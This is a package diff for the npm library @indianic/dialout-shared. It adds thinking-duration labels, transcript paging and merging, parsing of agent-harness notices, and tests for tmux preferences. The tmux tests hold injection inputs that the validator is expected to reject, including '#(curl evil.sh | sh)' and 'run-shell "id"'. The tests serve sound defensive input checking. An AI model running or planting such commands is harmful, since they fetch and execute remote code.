@indianic/dialout 1.10.0 → 1.12.0

package/node_modules/@indianic/dialout-shared/dist/thinking.js

@@ -0,0 +1,38 @@
+"use strict";
+// How a spell of reasoning is labelled in the transcript.
+//
+// Most of it never reaches us. Claude Code runs adaptive thinking with a
+// `clear_thinking_20251015` context edit, which strips the words out of the
+// persisted history and leaves a signed, empty block behind — measured at 515
+// of 615 blocks in one real session. Codex and Grok encrypt theirs outright.
+// So a thinking row usually has no words to show, only the fact that it
+// happened and `thinkingDurationMs` saying how long for. That is worth
+// showing: it is the difference between an agent that is stuck and one that is
+// thinking hard.
+Object.defineProperty(exports, "__esModule", { value: true });
+exports.thinkingDuration = thinkingDuration;
+exports.thinkingLabel = thinkingLabel;
+/** "1.4s", "12s", "2m 5s" — the duration Claude Code reports for a turn. */
+function thinkingDuration(ms) {
+    if (!Number.isFinite(ms) || ms <= 0)
+        return '';
+    if (ms < 1000)
+        return `${Math.round(ms)}ms`;
+    const s = ms / 1000;
+    if (s < 10)
+        return `${s.toFixed(1)}s`;
+    if (s < 60)
+        return `${Math.round(s)}s`;
+    const m = Math.floor(s / 60);
+    const rest = Math.round(s % 60);
+    return rest ? `${m}m ${rest}s` : `${m}m`;
+}
+/**
+ * The label for a thinking row. "Thought for 1.4s" when the vendor said how
+ * long, and the vaguer wording only when it did not — never a bare
+ * "thinking…", which read as though something were still in flight.
+ */
+function thinkingLabel(ms) {
+    const d = ms == null ? '' : thinkingDuration(ms);
+    return d ? `Thought for ${d}` : 'Thought for a moment';
+}

package/node_modules/@indianic/dialout-shared/dist/thinking.test.d.ts

@@ -0,0 +1,2 @@
+export {};
+//# sourceMappingURL=thinking.test.d.ts.map

package/node_modules/@indianic/dialout-shared/dist/thinking.test.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"thinking.test.d.ts","sourceRoot":"","sources":["../src/thinking.test.ts"],"names":[],"mappings":""}

package/node_modules/@indianic/dialout-shared/dist/thinking.test.js

@@ -0,0 +1,30 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+const vitest_1 = require("vitest");
+const thinking_1 = require("./thinking");
+(0, vitest_1.describe)('thinkingDuration', () => {
+    (0, vitest_1.it)('reads like a stopwatch at every scale', () => {
+        (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(490)).toBe('490ms');
+        (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(1422)).toBe('1.4s');
+        (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(12252)).toBe('12s');
+        (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(59_400)).toBe('59s');
+        (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(60_000)).toBe('1m');
+        (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(125_000)).toBe('2m 5s');
+    });
+    (0, vitest_1.it)('says nothing rather than "0s" when there is no duration to report', () => {
+        (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(0)).toBe('');
+        (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(-5)).toBe('');
+        (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(NaN)).toBe('');
+        (0, vitest_1.expect)((0, thinking_1.thinkingDuration)(Infinity)).toBe('');
+    });
+});
+(0, vitest_1.describe)('thinkingLabel', () => {
+    (0, vitest_1.it)('names the duration when the vendor gave one', () => {
+        (0, vitest_1.expect)((0, thinking_1.thinkingLabel)(1422)).toBe('Thought for 1.4s');
+        (0, vitest_1.expect)((0, thinking_1.thinkingLabel)(12252)).toBe('Thought for 12s');
+    });
+    (0, vitest_1.it)('falls back to the vague wording, never a bare "thinking…"', () => {
+        (0, vitest_1.expect)((0, thinking_1.thinkingLabel)(undefined)).toBe('Thought for a moment');
+        (0, vitest_1.expect)((0, thinking_1.thinkingLabel)(0)).toBe('Thought for a moment');
+    });
+});

package/node_modules/@indianic/dialout-shared/dist/tmux-prefs.test.d.ts

@@ -0,0 +1,2 @@
+export {};
+//# sourceMappingURL=tmux-prefs.test.d.ts.map

package/node_modules/@indianic/dialout-shared/dist/tmux-prefs.test.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"tmux-prefs.test.d.ts","sourceRoot":"","sources":["../src/tmux-prefs.test.ts"],"names":[],"mappings":""}

package/node_modules/@indianic/dialout-shared/dist/tmux-prefs.test.js

@@ -0,0 +1,95 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+const vitest_1 = require("vitest");
+const tmux_prefs_1 = require("./tmux-prefs");
+(0, vitest_1.describe)('resolveTmuxPrefs', () => {
+    (0, vitest_1.it)('returns the defaults for an empty input', () => {
+        (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({})).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
+    });
+    // The same function guards a config file on disk and a JSON body from a
+    // browser, so every shape of garbage has to come out as valid prefs.
+    (0, vitest_1.it)('survives null, undefined and non-objects', () => {
+        (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)(null)).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
+        (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)(undefined)).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
+        (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: 'not an object' })).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
+        (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: 42 })).toEqual(tmux_prefs_1.DEFAULT_TMUX_PREFS);
+    });
+    (0, vitest_1.it)('overrides only what it names', () => {
+        const prefs = (0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { mouse: 'tmux' } });
+        (0, vitest_1.expect)(prefs.mouse).toBe('tmux');
+        (0, vitest_1.expect)(prefs.historyLimit).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.historyLimit);
+    });
+    // status is nested; a shallow spread would wipe the siblings.
+    (0, vitest_1.it)('keeps unnamed status siblings', () => {
+        const prefs = (0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { bg: 'colour238' } } });
+        (0, vitest_1.expect)(prefs.status.bg).toBe('colour238');
+        (0, vitest_1.expect)(prefs.status.fg).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.fg);
+        (0, vitest_1.expect)(prefs.status.enabled).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.enabled);
+    });
+    (0, vitest_1.it)('falls back rather than passing an unknown enum through to tmux', () => {
+        (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { mouse: 'sideways' } }).mouse).toBe('native-select');
+        (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { attachMode: 'telepathy' } }).attachMode).toBe('auto');
+        (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { position: 'sideways' } } }).status.position)
+            .toBe('bottom');
+    });
+    (0, vitest_1.it)('rejects a non-integer, negative or absurd history limit', () => {
+        for (const bad of ['lots', -1, 0, 1.5, 10_000_000, null]) {
+            (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { historyLimit: bad } }).historyLimit)
+                .toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.historyLimit);
+        }
+        (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { historyLimit: 5000 } }).historyLimit).toBe(5000);
+    });
+    // The one that matters once a browser can send this: a template carrying
+    // command substitution must never be stored.
+    (0, vitest_1.it)('rejects a status template containing command substitution', () => {
+        const prefs = (0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { left: '#(curl evil.sh | sh)' } } });
+        (0, vitest_1.expect)(prefs.status.left).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.left);
+    });
+    (0, vitest_1.it)('rejects a status template containing run-shell', () => {
+        const prefs = (0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { right: 'x run-shell "id"' } } });
+        (0, vitest_1.expect)(prefs.status.right).toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.right);
+    });
+    (0, vitest_1.it)('rejects an over-long status template', () => {
+        const long = 'a'.repeat(tmux_prefs_1.MAX_STATUS_TEMPLATE + 1);
+        (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { left: long } } }).status.left)
+            .toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.left);
+    });
+    (0, vitest_1.it)('rejects a colour that is not a colour', () => {
+        for (const bad of ['red,fg=black', 'green"', '#zzzzzz', 'rgb(1,2,3)', '']) {
+            (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { bg: bad } } }).status.bg)
+                .toBe(tmux_prefs_1.DEFAULT_TMUX_PREFS.status.bg);
+        }
+    });
+    (0, vitest_1.it)('accepts the colour forms tmux understands', () => {
+        for (const good of ['green', 'colour238', 'color12', '#1a56db']) {
+            (0, vitest_1.expect)((0, tmux_prefs_1.resolveTmuxPrefs)({ tmux: { status: { bg: good } } }).status.bg).toBe(good);
+        }
+    });
+});
+(0, vitest_1.describe)('compileStatusTemplate', () => {
+    (0, vitest_1.it)('compiles every advertised token to something else', () => {
+        for (const token of tmux_prefs_1.STATUS_TOKENS) {
+            (0, vitest_1.expect)((0, tmux_prefs_1.compileStatusTemplate)(`[${token}]`)).not.toBe(`[${token}]`);
+        }
+    });
+    (0, vitest_1.it)('leaves an unknown token verbatim rather than dropping it', () => {
+        (0, vitest_1.expect)((0, tmux_prefs_1.compileStatusTemplate)('[nonsense]')).toBe('[nonsense]');
+    });
+    (0, vitest_1.it)('escapes a quote so it cannot end the emitted tmux string', () => {
+        (0, vitest_1.expect)((0, tmux_prefs_1.compileStatusTemplate)('say "hi"')).not.toMatch(/(?<!\\)"/);
+    });
+    (0, vitest_1.it)('throws on command substitution and run-shell', () => {
+        (0, vitest_1.expect)(() => (0, tmux_prefs_1.compileStatusTemplate)('#(id)')).toThrow(/not allowed/i);
+        (0, vitest_1.expect)(() => (0, tmux_prefs_1.compileStatusTemplate)('run-shell id')).toThrow(/not allowed/i);
+    });
+});
+(0, vitest_1.describe)('validators', () => {
+    (0, vitest_1.it)('isValidStatusTemplate mirrors compileStatusTemplate', () => {
+        (0, vitest_1.expect)((0, tmux_prefs_1.isValidStatusTemplate)('[folder]')).toBe(true);
+        (0, vitest_1.expect)((0, tmux_prefs_1.isValidStatusTemplate)('#(id)')).toBe(false);
+    });
+    (0, vitest_1.it)('isValidTmuxColor rejects anything that could inject a second option', () => {
+        (0, vitest_1.expect)((0, tmux_prefs_1.isValidTmuxColor)('green')).toBe(true);
+        (0, vitest_1.expect)((0, tmux_prefs_1.isValidTmuxColor)('green,fg=red')).toBe(false);
+    });
+});

package/node_modules/@indianic/dialout-shared/dist/tool-appearance.test.d.ts

@@ -0,0 +1,2 @@
+export {};
+//# sourceMappingURL=tool-appearance.test.d.ts.map

package/node_modules/@indianic/dialout-shared/dist/tool-appearance.test.d.ts.map

@@ -0,0 +1 @@
+{"version":3,"file":"tool-appearance.test.d.ts","sourceRoot":"","sources":["../src/tool-appearance.test.ts"],"names":[],"mappings":""}

package/node_modules/@indianic/dialout-shared/dist/tool-appearance.test.js

@@ -0,0 +1,38 @@
+"use strict";
+Object.defineProperty(exports, "__esModule", { value: true });
+const vitest_1 = require("vitest");
+const tool_appearance_1 = require("./tool-appearance");
+(0, vitest_1.describe)('tool-appearance', () => {
+    (0, vitest_1.it)('maps known tools to their action class', () => {
+        (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Read')).toBe('read');
+        (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Glob')).toBe('read');
+        (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Grep')).toBe('search');
+        (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('WebSearch')).toBe('search');
+        (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Bash')).toBe('run');
+        (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Task')).toBe('run');
+        (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Edit')).toBe('write');
+        (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('Write')).toBe('write');
+    });
+    (0, vitest_1.it)('is case and whitespace insensitive', () => {
+        (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('  bASh  ')).toBe('run');
+    });
+    // New tools ship constantly. An unknown name must render as a neutral row,
+    // never throw and never blank the trace.
+    (0, vitest_1.it)('falls back to other for an unknown tool', () => {
+        (0, vitest_1.expect)((0, tool_appearance_1.toolClass)('SomeToolShippedNextWeek')).toBe('other');
+        (0, vitest_1.expect)((0, tool_appearance_1.toolAppearance)('SomeToolShippedNextWeek').colorVar).toBe('--dim');
+    });
+    (0, vitest_1.it)('failure beats the name-derived class', () => {
+        const a = (0, tool_appearance_1.toolAppearance)('Read', false);
+        (0, vitest_1.expect)(a.cls).toBe('failure');
+        (0, vitest_1.expect)(a.colorVar).toBe('--offline');
+        (0, vitest_1.expect)(a.glyph).toBe('✕');
+    });
+    (0, vitest_1.it)('every class has a glyph and a colour token', () => {
+        for (const name of ['Read', 'Grep', 'Bash', 'Edit', 'Nonsense']) {
+            const a = (0, tool_appearance_1.toolAppearance)(name);
+            (0, vitest_1.expect)(a.glyph.length).toBeGreaterThan(0);
+            (0, vitest_1.expect)(a.colorVar.startsWith('--')).toBe(true);
+        }
+    });
+});

package/node_modules/@indianic/dialout-shared/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@indianic/dialout-shared",
-  "version": "1.4.0",
+  "version": "1.6.0",
   "description": "Types and constants shared by the Dialout server, agent and mobile app.",
   "publishConfig": {
     "registry": "https://registry.npmjs.org"
@@ -20,7 +20,7 @@
     "dist"
   ],
   "scripts": {
-    "build": "tsc",
+    "build": "rm -rf dist && tsc -p tsconfig.build.json",
     "test": "vitest run"
   },
   "devDependencies": {

package/node_modules/@indianic/dialout-shared/src/captured.test.ts

@@ -0,0 +1,29 @@
+import { describe, expect, it } from 'vitest';
+import { MAX_CAPTURE_PAGE, parseCapturePage } from './captured';
+
+describe('parseCapturePage', () => {
+  it('defaults to the newest full page', () => {
+    expect(parseCapturePage(null, null)).toEqual({ before: null, limit: MAX_CAPTURE_PAGE });
+  });
+
+  it('caps the page so one request cannot pull a whole conversation', () => {
+    expect(parseCapturePage(null, String(MAX_CAPTURE_PAGE * 10)).limit).toBe(MAX_CAPTURE_PAGE);
+    expect(parseCapturePage(null, '25').limit).toBe(25);
+  });
+
+  it('treats junk, zero and negative limits as the default', () => {
+    for (const v of ['0', '-5', 'all', '', 'NaN', null, undefined]) {
+      expect(parseCapturePage(null, v).limit).toBe(MAX_CAPTURE_PAGE);
+    }
+  });
+
+  it('reads `before` only as a positive whole index', () => {
+    expect(parseCapturePage('450', null).before).toBe(450);
+    // seq 0 is the first event ever; "before 0" is empty, which is the same
+    // request as "the newest page" would be wrong — so it is not honoured.
+    expect(parseCapturePage('0', null).before).toBeNull();
+    expect(parseCapturePage('-1', null).before).toBeNull();
+    expect(parseCapturePage('12.5', null).before).toBeNull();
+    expect(parseCapturePage('abc', null).before).toBeNull();
+  });
+});

package/node_modules/@indianic/dialout-shared/src/captured.ts

@@ -0,0 +1,46 @@
+import type { AiEvent } from './events';
+import { REPLAY_LIMIT } from './session';
+
+// The captured copy of a conversation, served from Postgres so a session
+// paints before the agent has said anything — or at all, when the machine is
+// asleep. The ws-server has been writing these rows all along (Reports →
+// Session logs); this is the shape the session screens read them back in.
+//
+// Events carry their absolute transcript index, the same numbering the agent
+// uses, which is what lets the captured copy and the agent's live stream be
+// merged by event-merge.ts without a special case.
+
+export interface CapturedTranscript {
+  /** The transcript file this conversation is, or '' when nothing is captured. */
+  sessionKey: string;
+  events: AiEvent[];
+  /** Absolute index of events[0]; null when there are none. */
+  firstSeq: number | null;
+  /** Captured events older than firstSeq — what "load earlier" can still reach. */
+  earlier: number;
+  /** Absolute index of the last event held, for an open's `haveThrough`. */
+  lastSeq: number | null;
+  /** When the capture last grew, so a screen can say how fresh the copy is. */
+  updatedAt: string | null;
+}
+
+export const EMPTY_CAPTURE: CapturedTranscript = {
+  sessionKey: '', events: [], firstSeq: null, earlier: 0, lastSeq: null, updatedAt: null,
+};
+
+/** A page of captured events is at most a replay's worth, never less than one. */
+export const MAX_CAPTURE_PAGE = REPLAY_LIMIT;
+
+/**
+ * Clamp a ?before=&limit= pair off the wire. `before` is exclusive and absent
+ * means "the newest page"; 0 is a legitimate index, so only a non-integer or a
+ * negative number counts as absent.
+ */
+export function parseCapturePage(before: unknown, limit: unknown): { before: number | null; limit: number } {
+  const b = Number(before);
+  const l = Math.floor(Number(limit));
+  return {
+    before: Number.isInteger(b) && b > 0 ? b : null,
+    limit: Number.isFinite(l) && l > 0 ? Math.min(l, MAX_CAPTURE_PAGE) : MAX_CAPTURE_PAGE,
+  };
+}

package/node_modules/@indianic/dialout-shared/src/chat-blocks.test.ts

@@ -57,6 +57,20 @@ describe('groupEvents', () => {
     expect(blocks.map((b) => b.kind)).toEqual(['user', 'assistant']);
   });
 
+  it('turns a harness message into a notice, and drops a pure reminder', () => {
+    const blocks = groupEvents([
+      msg('user', 'ship it'),
+      msg('user', '<system-reminder>read the rules again</system-reminder>'),
+      msg('user', '<task-notification><summary>Agent "Review" finished</summary>'
+        + '<usage><tool_uses>8</tool_uses><duration_ms>77347</duration_ms></usage></task-notification>'),
+    ]);
+    expect(blocks.map((b) => b.kind)).toEqual(['user', 'notice']);
+    const notice = blocks[1];
+    if (notice.kind !== 'notice') throw new Error('expected a notice');
+    expect(notice.notice.label).toBe('Agent "Review" finished');
+    expect(notice.notice.detail).toBe('1m 17s · 8 tools');
+  });
+
   it('gives every block a stable unique key', () => {
     const blocks = groupEvents([msg('user', 'hi'), call('a', 'Read'), call('b', 'Bash')]);
     const keys = blocks.map((b) => b.key);

package/node_modules/@indianic/dialout-shared/src/chat-blocks.ts

@@ -1,4 +1,5 @@
 import type { AiEvent } from './events';
+import { readUserMessage, type MessageNotice } from './notices';
 
 export interface ToolItem {
   id: string;
@@ -13,7 +14,8 @@ export type ChatBlock =
   | { kind: 'user';      key: string; text: string; pending?: boolean }
   | { kind: 'assistant'; key: string; text: string }
   | { kind: 'tools';     key: string; items: ToolItem[] }
-  | { kind: 'thinking';  key: string; text: string }
+  | { kind: 'thinking';  key: string; text: string; ms?: number }
+  | { kind: 'notice';    key: string; notice: MessageNotice }
   | { kind: 'status';    key: string; status: string };
 
 // Grouping only ever merges ADJACENT events, so the worst case for an adapter
@@ -27,9 +29,16 @@ export function groupEvents(events: AiEvent[]): ChatBlock[] {
     const tail = blocks[blocks.length - 1];
 
     if (e.kind === 'message') {
-      blocks.push(e.role === 'user'
-        ? { kind: 'user', key, text: e.text || '' }
-        : { kind: 'assistant', key, text: e.text || '' });
+      if (e.role !== 'user') {
+        blocks.push({ kind: 'assistant', key, text: e.text || '' });
+        return;
+      }
+      // Half the "user" messages in an agent transcript are the harness
+      // talking to itself. Read the frame before drawing a bubble for it.
+      const read = readUserMessage(e.text || '');
+      if (read.kind === 'hidden') return;
+      if (read.kind === 'notice') blocks.push({ kind: 'notice', key, notice: read.notice });
+      else blocks.push({ kind: 'user', key, text: read.text });
       return;
     }
 
@@ -62,7 +71,7 @@ export function groupEvents(events: AiEvent[]): ChatBlock[] {
     }
 
     if (e.kind === 'thinking') {
-      blocks.push({ kind: 'thinking', key, text: e.text || '' });
+      blocks.push({ kind: 'thinking', key, text: e.text || '', ms: e.ms });
       return;
     }
 

package/node_modules/@indianic/dialout-shared/src/event-merge.test.ts

@@ -35,6 +35,33 @@ describe('mergeEvents', () => {
     expect(mergeEvents(s, range(3, 5), { firstSeq: 3 })).toBe(s);
   });
 
+  it('a delta appends onto the captured copy and leaves `earlier` alone', () => {
+    // What the session screen painted from the server's database: 200 events
+    // ending at seq 449, with 250 older ones still stored behind them.
+    let s = mergeEvents(EMPTY_TRANSCRIPT, range(250, 450), { replay: true, firstSeq: 250, earlier: 250 });
+    // The open declared haveThrough: 449; the agent answers with 450 onwards.
+    s = mergeEvents(s, range(450, 453), { delta: true, firstSeq: 450 });
+    expect(texts(s)).toHaveLength(203);
+    expect(texts(s)[202]).toBe('m452');
+    expect(s.firstSeq).toBe(250);
+    // The agent's window reaches back less far than the database does, so it
+    // sends no `earlier` and the client's own count must survive.
+    expect(s.earlier).toBe(250);
+  });
+
+  it('an empty delta is the in-sync signal and changes nothing', () => {
+    const s = mergeEvents(EMPTY_TRANSCRIPT, range(0, 3), { replay: true, firstSeq: 0, earlier: 7 });
+    expect(mergeEvents(s, [], { delta: true, firstSeq: 3 })).toBe(s);
+  });
+
+  it('a delta that overlaps the tail is trimmed, not doubled', () => {
+    let s = mergeEvents(EMPTY_TRANSCRIPT, range(0, 5), { replay: true, firstSeq: 0, earlier: 0 });
+    // A race: the live tail already delivered m5 before the open was answered.
+    s = mergeEvents(s, range(5, 6), { firstSeq: 5 });
+    s = mergeEvents(s, range(3, 7), { delta: true, firstSeq: 3 });
+    expect(texts(s)).toEqual(['m0', 'm1', 'm2', 'm3', 'm4', 'm5', 'm6']);
+  });
+
   it('an agent without paging is a plain append', () => {
     let s = mergeEvents(EMPTY_TRANSCRIPT, range(0, 2));
     s = mergeEvents(s, range(2, 3));

package/node_modules/@indianic/dialout-shared/src/event-merge.ts

@@ -11,6 +11,10 @@ import type { AiEvent } from './events';
 //            which is also what makes a reconnect safe: every open replays.
 //   history  a "load earlier" page. PREPENDS, trimmed to what is not already
 //            held (two taps, or another device asking, can overlap).
+//   delta    the answer to an open that said what it already held (haveThrough).
+//            APPENDS the suffix after that point, so a client which painted the
+//            captured copy from the database is not sent the whole page again.
+//            May legitimately be empty — it is also the "you are in sync" signal.
 //   live     everything else. APPENDS, trimmed of any overlap with the tail.
 //
 // An agent older than paging sends none of the fields; its messages are plain
@@ -27,6 +31,13 @@ export interface TranscriptState {
 export interface EventsMeta {
   replay?: boolean;
   history?: boolean;
+  /**
+   * This message answers an open that declared `haveThrough`: it carries only
+   * what came after it. Merged as an append, but unlike a live batch it must
+   * not disturb `earlier` — the client's own count came from the database and
+   * reaches further back than the agent's in-memory window does.
+   */
+  delta?: boolean;
   firstSeq?: number;
   earlier?: number;
   /**

package/node_modules/@indianic/dialout-shared/src/events.ts

@@ -7,7 +7,11 @@ export type AiEvent =
   | { kind: 'message';     role: 'user' | 'assistant'; text: string; id?: string; at?: string }
   | { kind: 'tool_call';   name: string; summary: string; input?: unknown; id?: string; at?: string }
   | { kind: 'tool_result'; forId: string; ok: boolean; preview: string; at?: string }
-  | { kind: 'thinking';    text: string; id?: string; at?: string }
+  // `text` is empty when the vendor kept the reasoning out of the transcript
+  // (Claude Code's adaptive thinking strips it and leaves only a signature),
+  // and `ms` is how long it spent. One of the two is always worth showing:
+  // the words if they survived, otherwise that it thought and for how long.
+  | { kind: 'thinking';    text: string; ms?: number; id?: string; at?: string }
   | { kind: 'state';       status: AiStatus; at?: string };
 
 export interface AiAdapter {

package/node_modules/@indianic/dialout-shared/src/index.ts

@@ -17,6 +17,9 @@ export { NOTIFY_COOLDOWN_MS, shouldNotifyAi, shouldNotifyPrompt } from './notify
 export type { ToolItem, ChatBlock } from './chat-blocks';
 export { groupEvents, toolGroupStartsOpen } from './chat-blocks';
 
+export type { MessageNotice, NoticeKind, ReadMessage } from './notices';
+export { dedent, readUserMessage } from './notices';
+
 export { PIN_THRESHOLD_PX, shouldFollow } from './scroll-pin';
 
 export type { ToolClass, ToolAppearance } from './tool-appearance';
@@ -41,8 +44,12 @@ export {
 export type { TranscriptState, EventsMeta } from './event-merge';
 export { EMPTY_TRANSCRIPT, mergeEvents } from './event-merge';
 
+export type { CapturedTranscript } from './captured';
+export { EMPTY_CAPTURE, MAX_CAPTURE_PAGE, parseCapturePage } from './captured';
+
+export { thinkingDuration, thinkingLabel } from './thinking';
 export type { PanePrompt, PanePromptOption, PromptKey } from './pane-prompt';
-export { PROMPT_KEYS, detectPanePrompt, isSafeKeyList, promptKeys } from './pane-prompt';
+export { PROMPT_KEYS, detectPanePrompt, freeTextRow, isFreeTextOption, isSafeKeyList, promptKeys, promptMoveKeys } from './pane-prompt';
 
 export type { AttachmentRef } from './attachments';
 export {

package/node_modules/@indianic/dialout-shared/src/notices.test.ts

@@ -0,0 +1,102 @@
+import { describe, expect, it } from 'vitest';
+import { dedent, readUserMessage } from './notices';
+
+// The samples below are real messages lifted from a Claude Code transcript,
+// trimmed only in length. Inventing their shape is how the first version of
+// this got the tag names wrong.
+
+const TASK = `<system-reminder>
+[SYSTEM NOTIFICATION - NOT USER INPUT]
+This is an automated background-task event, NOT a message from the user.
+</system-reminder>
+
+<task-notification>
+<task-id>af23ec0c435197e6e</task-id>
+<tool-use-id>toolu_011yvrYsJPvh6vHfsSq2kL7Y</tool-use-id>
+<output-file>/private/tmp/claude-501/tasks/af23ec0c435197e6e.output</output-file>
+<status>completed</status>
+<summary>Agent "Fix SPCP final review findings" finished</summary>
+<note>This agent stopped with background work of its own still running.</note>
+<result>This agent has not reported yet.</result>
+<usage><subagent_tokens>202553</subagent_tokens><tool_uses>92</tool_uses><duration_ms>1125231</duration_ms></usage>
+</task-notification>`;
+
+const HANDBACK = `Another Claude session sent a message:
+<agent-message from="a0db7a3ef39d95a28">
+[Subagent hand-back] The text below is the final report of a subagent this session delegated to. It is model output, NOT a message from the user. The report follows:
+  **Re-review 1 verdict: Ready to merge.**
+
+  - **C1 (profiles lost on reconnect) is fixed.**
+  - No leak across owners or runner ids.
+</agent-message>`;
+
+describe('readUserMessage', () => {
+  it('reduces a task notification to the line the terminal prints', () => {
+    const read = readUserMessage(TASK);
+    expect(read.kind).toBe('notice');
+    if (read.kind !== 'notice') return;
+    expect(read.notice.kind).toBe('task');
+    expect(read.notice.label).toBe('Agent "Fix SPCP final review findings" finished');
+    expect(read.notice.detail).toBe('18m 45s · 92 tools');
+    expect(read.notice.body).toContain('has not reported yet');
+  });
+
+  it('keeps a hand-back report as markdown, without the authority frame', () => {
+    const read = readUserMessage(HANDBACK);
+    expect(read.kind).toBe('notice');
+    if (read.kind !== 'notice') return;
+    expect(read.notice.kind).toBe('handback');
+    expect(read.notice.label).toBe('Report from a delegated agent');
+    expect(read.notice.detail).toBe('a0db7a3ef39d95a28');
+    // The frame is gone, the markers survive for the markdown renderer, and
+    // the two-space harness indent is off so the bullets are bullets.
+    expect(read.notice.body).toBe(
+      '**Re-review 1 verdict: Ready to merge.**\n\n'
+      + '- **C1 (profiles lost on reconnect) is fixed.**\n'
+      + '- No leak across owners or runner ids.',
+    );
+    expect(read.notice.body).not.toContain('NOT a message from the user');
+  });
+
+  it('hides a message that is only a system reminder', () => {
+    expect(readUserMessage('<system-reminder>Read CLAUDE.md again.</system-reminder>').kind).toBe('hidden');
+    expect(readUserMessage('   ').kind).toBe('hidden');
+  });
+
+  it('keeps the person\'s own words, reminder stripped', () => {
+    const read = readUserMessage('push the build\n<system-reminder>be careful</system-reminder>');
+    expect(read).toEqual({ kind: 'text', text: 'push the build' });
+  });
+
+  it('shows a slash command as the command, with its output foldable', () => {
+    const read = readUserMessage(
+      '<command-message>clear</command-message><command-name>/clear</command-name>'
+      + '<command-args>--all</command-args><local-command-stdout>done</local-command-stdout>',
+    );
+    expect(read.kind).toBe('notice');
+    if (read.kind !== 'notice') return;
+    expect(read.notice.label).toBe('/clear --all');
+    expect(read.notice.body).toBe('done');
+  });
+
+  it('names a resumed conversation rather than printing the summary', () => {
+    const read = readUserMessage('This session is being continued from a previous conversation. Summary: lots.');
+    expect(read.kind).toBe('notice');
+    if (read.kind !== 'notice') return;
+    expect(read.notice.label).toBe('Earlier conversation summarised');
+  });
+
+  it('leaves ordinary text alone, markers and all', () => {
+    expect(readUserMessage('fix **this** please')).toEqual({ kind: 'text', text: 'fix **this** please' });
+  });
+});
+
+describe('dedent', () => {
+  it('removes the common indent and nothing else', () => {
+    expect(dedent('  a\n    b\n\n  c')).toBe('a\n  b\n\nc');
+  });
+
+  it('leaves unindented text untouched', () => {
+    expect(dedent('a\n  b')).toBe('a\n  b');
+  });
+});